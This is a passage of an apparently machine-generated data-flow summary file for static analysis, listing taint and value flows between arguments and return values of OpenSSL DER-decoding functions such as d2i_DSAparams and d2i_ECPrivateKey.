"df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAPublicKey", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_PUBKEY", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_bio", "(BIO *,DSA **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_fp", "(FILE *,DSA **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_fp", "(FILE *,DSA **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_fp", "(FILE *,DSA **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_fp", "(FILE *,DSA **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_fp", "(FILE *,DSA **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_fp", "(FILE *,DSA **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_fp", "(FILE *,DSA **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_fp", "(FILE *,DSA **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_fp", "(FILE *,DSA **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_fp", "(FILE *,DSA **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSA_SIG", "(DSA_SIG **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSA_SIG", "(DSA_SIG **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_DSA_SIG", "(DSA_SIG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_SIG", "(DSA_SIG **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_SIG", "(DSA_SIG **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_SIG", "(DSA_SIG **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_SIG", "(DSA_SIG **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ECDSA_SIG", "(ECDSA_SIG **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ECDSA_SIG", "(ECDSA_SIG **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_ECDSA_SIG", "(ECDSA_SIG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECDSA_SIG", "(ECDSA_SIG **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECDSA_SIG", "(ECDSA_SIG **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECDSA_SIG", "(ECDSA_SIG **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECDSA_SIG", "(ECDSA_SIG **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKParameters", "(EC_GROUP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPKParameters", "(EC_GROUP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPKParameters", "(EC_GROUP **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPKParameters", "(EC_GROUP **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPKParameters", "(EC_GROUP **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPKParameters", "(EC_GROUP **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPKParameters", "(EC_GROUP **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECParameters", "(EC_KEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ECParameters", "(EC_KEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECParameters", "(EC_KEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_ECParameters", "(EC_KEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECParameters", "(EC_KEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECParameters", "(EC_KEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECParameters", "(EC_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECParameters", "(EC_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECParameters", "(EC_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECParameters", "(EC_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey_bio", "(BIO *,EC_KEY **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey_bio", "(BIO *,EC_KEY **)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey_bio", "(BIO *,EC_KEY **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey_bio", "(BIO *,EC_KEY **)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey_fp", "(FILE *,EC_KEY **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey_fp", "(FILE *,EC_KEY **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey_fp", "(FILE *,EC_KEY **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey_fp", "(FILE *,EC_KEY **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey_fp", "(FILE *,EC_KEY **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey_fp", "(FILE *,EC_KEY **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey_fp", "(FILE *,EC_KEY **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey_fp", "(FILE *,EC_KEY **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey_fp", "(FILE *,EC_KEY **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey_fp", "(FILE *,EC_KEY **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PUBKEY", "(EC_KEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_EC_PUBKEY", "(EC_KEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_EC_PUBKEY", "(EC_KEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, 